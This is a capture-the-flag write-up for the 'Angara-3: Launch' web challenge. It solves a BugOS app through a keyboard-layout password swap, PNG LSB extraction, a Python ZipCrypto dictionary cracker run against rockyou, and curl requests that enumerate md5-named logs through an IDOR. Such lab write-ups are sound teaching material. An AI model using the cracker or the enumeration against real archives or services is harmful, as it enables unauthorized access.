Ангара-3: Запуск (Angara-3: Launch)
Ангара-3: Запуск (Angara-3: Launch)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: data_descriptor_check_byte, idor_md5_enumeration, keyboard_layout_swap, lsb_extraction, zipcrypto_dictionary_attack
Summary
Walkthrough of the CUSTOM Web Ангара-3: Запуск (Angara-3: Launch). Task: multi-step web challenge on a Node/Express 'BugOS' app — keyboard-layout password reminder, PNG LSB stego, ZipCrypto-protected archive, and an IDOR over md5-named launch logs. Solution: RU/EN la
Description
Часть 3 серии «Ангара». Теперь у нас есть коды запуска, осталось найти правильные параметры для запуска ракеты. В прошлом году, сразу после развёртывания BugOS, был выполнен тестовый запуск с правильными параметрами — и он прошёл успешно. Значит система работает, и сработает снова!
English summary: Part 3 of the "Angara" series. The target is a Node.js/Express "BugOS"
web desktop at http://31.207.77.216:4016/. We already have the launch codes (from the
series narrative); the goal is to find the correct rocket-launch parameters and POST a
successful launch to /api/launch, which returns the flag. The path winds through a
keyboard-layout password reminder, PNG LSB steganography, a ZipCrypto-protected archive
cracked from rockyou, and an IDOR over predictably-named launch logs.
Analysis
The challenge chains four distinct primitives:
- A publicly readable
remind-password.txtwhose contents are Cyrillic gibberish — the classic "typed in the wrong keyboard layout" trick (text intended for the EN QWERTY layout typed while the RU ЙЦУКЕН layout was active). - A 976 KB
sochi-2020.pngon the dashboard — far too large for its visible content, signalling LSB steganography. - A
doc.zipusing traditional PKZIP ZipCrypto. Its general purpose bit flag is0x0009: bit 0 (encrypted) and bit 3 (data descriptor). Bit 3 is the gotcha — when set, the real CRC is written after the data, so at encryption time the CRC is unknown and the ZipCrypto password-verification byte is compared against the high byte of the DOS last-modification time, not the CRC high byte. /api/launchreturns alogUrlpointing at/logs/<hash>.txt, where the hash ismd5(logNumber)— a trivially enumerable IDOR that leaks the historical successful test launch and its parameters.
Solution
Step 1 — Recover the login password (keyboard-layout swap)
/assets/remind-password.txt contains text typed in the wrong layout. Map RU ЙЦУКЕН →
EN QWERTY positionally:
python read-only • copy allowedru = 'йцукенгшщзхъфывапролджэячсмитьбю.ёЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЭЯЧСМИТЬБЮ,Ё' en = "qwertyuiop[]asdfghjkl;'zxcvbnm,./`QWERTYUIOP{}ASDFGHJKL:\"ZXCVBNM<>?~" tr = {a: b for a, b in zip(ru, en)} text = open('remind-password.txt', encoding='utf-8').read() print(''.join(tr.get(c, c) for c in text))
Output:
Login password: c836468d539e5692ff5c5a7f65f7d2ee
And the flag for the first part of the task: BugCTF{40fa44fb74a4d5f22e909e0c83e2c879}
Step 2 — Log in and reach the dashboard
bash read-only • copy allowedcurl -s -c cookies.txt -X POST http://31.207.77.216:4016/login \ -H 'Content-Type: application/json' \ -d '{"password":"c836468d539e5692ff5c5a7f65f7d2ee"}' curl -s -b cookies.txt http://31.207.77.216:4016/dashboard -o dashboard.html
The connect.sid cookie is required; without it /dashboard 302-redirects to /login.
The dashboard exposes /assets/sochi-2020.png, /assets/doc.zip, and a launch form that
POSTs JSON to /api/launch.
Step 3 — PNG LSB steganography (RGB-interleaved, MSB-first)
The hidden bits are packed across the R, G, B channels in pixel order (alpha skipped), MSB-first. Alpha-channel and full RGBA-interleaved decodings produced garbage; only this scheme works:
python read-only • copy allowedfrom PIL import Image img = Image.open('sochi-2020.png').convert('RGBA') px = list(img.getdata()) bits = [] for r, g, b, a in px: bits.append(r & 1) bits.append(g & 1) bits.append(b & 1) out = bytearray() for i in range(0, len(bits) - 7, 8): byte = 0 for bit in bits[i:i+8]: # MSB-first byte = (byte << 1) | bit out.append(byte) print(bytes(out[:200]))
Output: The password to the archive is in the rockyou.txt database.
Step 4 — Crack ZipCrypto against rockyou (correct check-byte)
Key subtlety: doc.zip's flags are 0x0009, so bit 3 (data descriptor) is set and the
ZipCrypto check byte is the high byte of the DOS modtime (0x71 here), not CRC>>24.
Checking against CRC>>24 yields ~1/256 false positives and never verifies; fcrackzip
also failed on the data-descriptor layout. A custom cracker with the right check byte
finds l0v3, verified by raw-inflate + CRC32 match:
python read-only • copy allowedimport struct, zlib data = open('doc.zip', 'rb').read() assert data[:4] == b'PK\x03\x04' flags = struct.unpack('<H', data[6:8])[0] crc32 = struct.unpack('<I', data[14:18])[0] csize = struct.unpack('<I', data[18:22])[0] fnlen = struct.unpack('<H', data[26:28])[0] exlen = struct.unpack('<H', data[28:30])[0] modtime = struct.unpack('<H', data[10:12])[0] enc = data[30+fnlen+exlen : 30+fnlen+exlen+csize] # data-descriptor bit (8) set => check byte = high byte of DOS modtime check_byte = (modtime >> 8) & 0xff if (flags & 8) else (crc32 >> 24) & 0xff # 0x71 CRC = [] for i in range(256): c = i for _ in range(8): c = (c >> 1) ^ 0xedb88320 if c & 1 else c >> 1 CRC.append(c) upd = lambda crc, b: (crc >> 8) ^ CRC[(crc ^ b) & 0xff] def keys_for(pw): k0, k1, k2 = 0x12345678, 0x23456789, 0x34567890 for c in pw: k0 = upd(k0, c) k1 = (k1 + (k0 & 0xff)) & 0xffffffff k1 = (k1 * 134775813 + 1) & 0xffffffff k2 = upd(k2, (k1 >> 24) & 0xff) return k0, k1, k2 def try_pw(pw): K0, K1, K2 = keys_for(pw) last = 0 for i in range(12): # decrypt 12-byte encryption header tmp = (K2 | 2) & 0xffff d = ((tmp * (tmp ^ 1)) >> 8) & 0xff p = enc[i] ^ d K0 = upd(K0, p) K1 = (K1 + (K0 & 0xff)) & 0xffffffff K1 = (K1 * 134775813 + 1) & 0xffffffff K2 = upd(K2, (K1 >> 24) & 0xff) last = p return last == check_byte, (K0, K1, K2) with open('rockyou.txt', 'rb') as f: for line in f: pw = line.rstrip(b'\r\n') ok, (K0, K1, K2) = try_pw(pw) if not ok: continue # verify: decrypt full body, raw-inflate, match CRC32 out = bytearray() for i in range(12, len(enc)): tmp = (K2 | 2) & 0xffff d = ((tmp * (tmp ^ 1)) >> 8) & 0xff p = enc[i] ^ d K0 = upd(K0, p) K1 = (K1 + (K0 & 0xff)) & 0xffffffff K1 = (K1 * 134775813 + 1) & 0xffffffff K2 = upd(K2, (K1 >> 24) & 0xff) out.append(p) try: dec = zlib.decompress(bytes(out), -15) if zlib.crc32(dec) == crc32: print('PASSWORD:', pw.decode()) open('link.txt', 'wb').write(dec) break except Exception: pass
Result: PASSWORD: l0v3. The decrypted link.txt is a Russian message pointing to a
Google Doc with the launch documentation.
Step 5 — Read the launch documentation
The Google Doc (exported as plain text) is a Roscosmos-style "Angara-A5 launch manual" containing the current valid launch code:
bbd4907ee188ea5d008917282a4df3e0
Step 6 — IDOR: enumerate md5-named launch logs
A test launch POST returns a logUrl like /logs/<hash>.txt and the log body contains a
logNumber field. The filename is md5(logNumber):
md5("2020") = 7b7a53e239400a13bd6be6c91c4f6c4e # matches a returned error log
md5("1") = c4ca4238a0b923820dcc509a6f75849b # the FIRST log
bash read-only • copy allowedcurl -s -b cookies.txt http://31.207.77.216:4016/logs/c4ca4238a0b923820dcc509a6f75849b.txt
md5("1") is the historical successful test launch ("success": true, dated
2024-10-18) with the correct parameters:
coordinates: x = 62.423, y = 40.175
trajectory : geo-orbit
payload : 25999
Step 7 — Fire the correct launch
bash read-only • copy allowedcurl -s -b cookies.txt -X POST http://31.207.77.216:4016/api/launch \ -H 'Content-Type: application/json' \ -d '{"launchCode":"bbd4907ee188ea5d008917282a4df3e0", "coordinates":{"x":62.423,"y":40.175}, "trajectory":"geo-orbit", "payload":25999, "launchTime":"2024-10-18T13:00"}'
Response:
json read-only • copy allowed{"success":true,"message":"Ракета успешно запущена!", "flag":"BugCTF{REDACTED}"}
Key Takeaways / Lessons
- Mastering data_descriptor_check_byte, idor_md5_enumeration, keyboard_layout_swap, lsb_extraction, zipcrypto_dictionary_attack was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-29 • CUSTOM • Ангара-3: Запуск (Angara-3: Launch) • Difficulty: Medium